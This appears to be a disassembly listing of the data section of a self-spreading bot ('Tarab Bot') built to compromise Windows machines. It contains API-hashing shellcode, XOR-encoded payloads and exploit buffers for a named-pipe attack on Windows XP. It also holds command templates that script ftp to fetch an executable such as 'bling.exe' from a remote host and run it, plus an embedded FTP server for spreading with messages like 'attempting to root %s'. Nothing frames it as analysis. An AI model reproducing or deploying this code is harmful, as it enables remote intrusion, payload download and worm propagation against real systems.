dword_427760 dd 0 ; DATA XREF: sub_403E73+44o
dd 800000D4h, 2 dup(0)
unk_427770 db 81h ; ; DATA XREF: sub_403F52+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_4277C0 db 41h ; DATA XREF: sub_403FF0+108r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 8
; =============== S U B R O U T I N E =======================================
sub_427808 proc near ; DATA XREF: .data:004042CAo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_427904
push dword ptr [esi]
push 63D61209h
call sub_42791A
mov [esi+8], eax
call sub_4278CD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_42791A
mov [esi+0Ch], eax
call sub_42787F
push dword ptr [esi+4]
push 4C0297FAh
call sub_42791A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_427808 endp
; =============== S U B R O U T I N E =======================================
sub_42787F proc near ; CODE XREF: sub_427808+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4278A8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_42787F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4278A8 proc near ; CODE XREF: sub_42787F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4278B7: ; CODE XREF: sub_4278A8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4278C4
inc ebx
jmp short loc_4278B7
; ---------------------------------------------------------------------------
loc_4278C4: ; CODE XREF: sub_4278A8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4278A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4278CD proc near ; CODE XREF: sub_427808+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4278E5: ; CODE XREF: sub_4278CD+1Ej
cmp [ecx], ebx
jz short loc_4278ED
mov ecx, [ecx]
jmp short loc_4278E5
; ---------------------------------------------------------------------------
loc_4278ED: ; CODE XREF: sub_4278CD+1Aj
mov edx, edi
loc_4278EF: ; CODE XREF: sub_4278CD+2Aj
cmp [edx+4], ebx
jz short loc_4278F9
mov edx, [edx+4]
jmp short loc_4278EF
; ---------------------------------------------------------------------------
loc_4278F9: ; CODE XREF: sub_4278CD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4278CD endp
; =============== S U B R O U T I N E =======================================
sub_427904 proc near ; CODE XREF: sub_427808+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_427904 endp
; =============== S U B R O U T I N E =======================================
sub_42791A proc near ; CODE XREF: sub_427808+16p
; sub_427808+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_427930: ; CODE XREF: sub_42791A+33j
jecxz short loc_42796A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_42793D: ; CODE XREF: sub_42791A+2Dj
lodsb
cmp al, ah
jz short loc_427949
ror edi, 0Dh
add edi, eax
jmp short loc_42793D
; ---------------------------------------------------------------------------
loc_427949: ; CODE XREF: sub_42791A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_427930
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_42796A: ; CODE XREF: sub_42791A:loc_427930j
; sub_42791A:loc_42796Aj
jmp short loc_42796A
sub_42791A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_427970 proc near ; DATA XREF: .data:0040427Ao
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_4279C2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_42798D: ; CODE XREF: sub_427970+38j
jecxz short loc_4279BD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_427998: ; CODE XREF: sub_427970+32j
lodsb
test al, al
jz short loc_4279A4
ror edx, 0Dh
add edx, eax
jmp short loc_427998
; ---------------------------------------------------------------------------
loc_4279A4: ; CODE XREF: sub_427970+2Bj
cmp edx, [esp+arg_0]
jnz short loc_42798D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_4279BD: ; CODE XREF: sub_427970:loc_42798Dj
mov [esp+arg_0], ebx
retn
sub_427970 endp
; =============== S U B R O U T I N E =======================================
sub_4279C2 proc near ; CODE XREF: sub_427970+7p
; FUNCTION CHUNK AT 004279FA SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4279DB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4279E6
; ---------------------------------------------------------------------------
loc_4279DB: ; CODE XREF: sub_4279C2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4279E6: ; CODE XREF: sub_4279C2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4279FA
sub_4279C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4279ED proc near ; CODE XREF: sub_4279C2:loc_4279FAp
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4279ED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4279C2
loc_4279FA: ; CODE XREF: sub_4279C2+29j
call sub_4279ED
loc_4279FF: ; DATA XREF: sub_4039FE+1Bo
; sub_40EC43+7CDo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_4279C2
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_427A04 dd 60h ; DATA XREF: sub_403A59+320o
dword_427A08 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A59+2F5o
dword_427A14 dd 30h ; DATA XREF: sub_403A59+2CAo
; .data:0042ED60o
dword_427A18 dd 0A1h ; DATA XREF: sub_403A59+29Fo
dword_427A1C dd 3 ; DATA XREF: sub_403A59+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_403A59+153o
align 4
loc_427A28: ; DATA XREF: sub_403A59+E8o
jmp short near ptr dword_427A30
; ---------------------------------------------------------------------------
align 10h
dword_427A30 dd 2 dup(0) ; CODE XREF: .data:loc_427A28j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: .data:0040429Fo
; sub_404DFA+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 10h
dword_427AB0 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_404904+2A6o
; ---------------------------------------------------------------------------
loc_427ABC: ; CODE XREF: .data:00427AC6j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_427ABC
inc edi
jz short loc_427B03
and eax, 952CE753h
inc esp
jle short loc_427B2B
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_427B03: ; CODE XREF: .data:00427AC9j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_427B62+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_427B28: ; CODE XREF: .data:00427B55j
xor [esi-25h], bl
loc_427B2B: ; CODE XREF: .data:00427AD1j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_427B44: ; CODE XREF: .data:00427B77j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_427B28
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_427B62: ; CODE XREF: .data:00427B09j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_427BEE
jo short loc_427B44
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_427B85+1
add bl, [edi]
loc_427B85: ; CODE XREF: .data:00427B81j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_427B9A+2
cmp ch, bh
dec edx
loc_427B9A: ; CODE XREF: .data:00427B95j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_427BEE: ; CODE XREF: .data:00427B75j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_427C74
sub al, 0BCh
jmp near ptr 54447FE2h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_427C10 dd 0EFFFC481h, 44FFFFh, 427C5Ch ; DATA XREF: sub_404904+28Do
dword_427C1C dd 42Ah ; DATA XREF: sub_404904+236r
dword_427C20 dd 3E8h ; DATA XREF: sub_404904+2B1r
dword_427C24 dd 258h ; DATA XREF: sub_404904+283r
byte_427C28 db 0 ; DATA XREF: sub_404904+1E8r
; sub_404904+2BFr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_427C40 dd 20804h ; DATA XREF: sub_404808r
; sub_404904+2D8o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:00427C2Co
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_427C74: ; CODE XREF: .data:00427BF8j
push eax
xor al, 29h
loc_427C77: ; DATA XREF: sub_404904+20Ao
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_427C80 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_404904+147o
dword_427C94 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_404904+D7o
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_404904+7Ao
align 4
a_: ; DATA XREF: sub_404904+10o
; sub_4061E4+24Co
unicode 0, <.>,0
dword_427CC0 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: .data:00404F9Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 8
loc_428ED8: ; DATA XREF: .data:004051CDo
add al, 54h
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
loc_428EF6: ; CODE XREF: .data:00428F46j
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
fmul st(1), st
mov al, 42h
jmp short loc_428F4D
; ---------------------------------------------------------------------------
dec edx
inc ebx
push esp
dec eax
inc ebx
and [ecx], eax
jo short loc_428EF6
inc edx
add [eax-52h], esi
inc edx
loc_428F4D: ; CODE XREF: .data:00428F3Dj
mov edi, esp
add edi, 2Ch
sub sp, 204h
xor ecx, ecx
mov dl, 35h
add cx, 138h
loc_428F60: ; CODE XREF: .data:00428F67j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_428F60
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP
test eax, 79E4B9EBh
inc ebp
loope loc_428FB1
lds edx, [edx]
adc eax, 623D0515h
db 66h
pop es
push 6
pop es
assume es:nothing
sbb esi, [ecx+79h]
jns short near ptr loc_428FBD+3
fidiv word ptr [eax]
fxch4 st(4)
retf 0CACAh
; ---------------------------------------------------------------------------
db 68h
dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh
dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
dec ebp
loc_428FB1: ; CODE XREF: .data:00428F79j
xor al, 0CEh
mov esi, 0CC34297Eh
mov esi, 0CF341166h
loc_428FBD: ; CODE XREF: .data:00428F8Aj
db 64h, 67h
mov si, 156Eh
xor al, 0CEh
add al, 0FCh
jz short near ptr loc_428FCB+2
cmc
lodsb
loc_428FCB: ; CODE XREF: .data:00428FC7j
mov esi, 0CB34BE01h
cdq
add al, 0F7h
in al, 0D7h
mov cl, 0F5h
inc eax
retn 833Ah
; ---------------------------------------------------------------------------
db 70h
dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
db 0BCh, 5
word_429042 dw 255Fh ; DATA XREF: .data:0042768Do
dd 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h, 70B8A2E5h
dd 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h, 4D501B5Dh
dd 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h, 0F3CB6666h
dd 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h, 0FBCB255Fh
dd 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_4290A4 dw 7A69h ; DATA XREF: sub_404FF8+30r
align 4
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_404FF8+97o
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
unk_429114 db 2 ; DATA XREF: .data:0040521Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 25h, 73h, 2Eh
db 65h ; e
db 1Fh, 78h, 1Fh
db 70h ; p
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAttemptingToRo db 'attempting to root %s',0
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405285+5B1o
aQuit db 'QUIT',0 ; DATA XREF: sub_405285+59Do
; sub_40EC43+4FCo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_405285+590o
align 10h
unk_429190 db 3 ; DATA XREF: sub_405285+545o
db 33h, 6Eh, 2
db 7Ah ; z
db 1Fh, 6Dh, 1Fh
db 20h
db 28h, 66h, 74h
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 3, 34h
aSPortDNowExecu db '»» %s, port:%d now executing %s on remote Tarab Bot.',0
align 10h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405285+526o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_405285+4FAo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_405285+4E2o
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405285+4D2o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_405285+4C1o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_405285+48Eo
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405285+44Ao
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_405285+411o
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405285+3E3o
align 4
aList db 'LIST',0 ; DATA XREF: sub_405285+3D0o
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_405285+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_405285+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405285+372o
aI: ; DATA XREF: sub_405285+35Eo
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405285+337o
aA: ; DATA XREF: sub_405285+323o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_405285+30Co
; sub_405285+347o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405285+2FCo
align 4
off_42933C dd offset dword_445750 ; DATA XREF: sub_405285+2E8o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405285+2D8o
align 4
aRest db 'REST',0 ; DATA XREF: sub_405285+2C4o
align 4
a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_405285+2B4o
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_405285+2A0o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405285+290o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_405285+27Co
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_405285+26Co
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_405285+257o
; .data:0042EB78o
align 4
aSS db '%s %s',0 ; DATA XREF: sub_405285+246o
align 4
a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405285+1C8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4058E9+24o
; sub_406A71+12Eo ...
align 4
unk_4293D8 db 2 ; DATA XREF: sub_405983+3D3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_42941C db 0Dh,0Ah,0 ; DATA XREF: sub_405983+2BEo
align 10h
asc_429420: ; DATA XREF: sub_405983+282o
; sub_40EC43+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405983+258o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405DB9+F0o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405DB9+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405DB9+97o
; sub_40B6ED+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405DB9+83o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405DB9:loc_405E24o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405DB9+64o
align 8
unk_429648 db 2 ; DATA XREF: sub_405F35+27Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_429690 db 2 ; DATA XREF: sub_405F35+20Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_4296D0: ; DATA XREF: sub_405F35+156o
unicode 0, <*>,0
asc_4296D4: ; DATA XREF: sub_405F35+FAo
; sub_4061E4+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_405F35+E9o
; sub_4061E4+4CFo ...
align 10h
aS_3 db '%s',0 ; DATA XREF: sub_405F35+39o
; sub_40B1BC+4Co ...
align 4
aS_4 db '\%s',0 ; DATA XREF: sub_405F35+2Fo
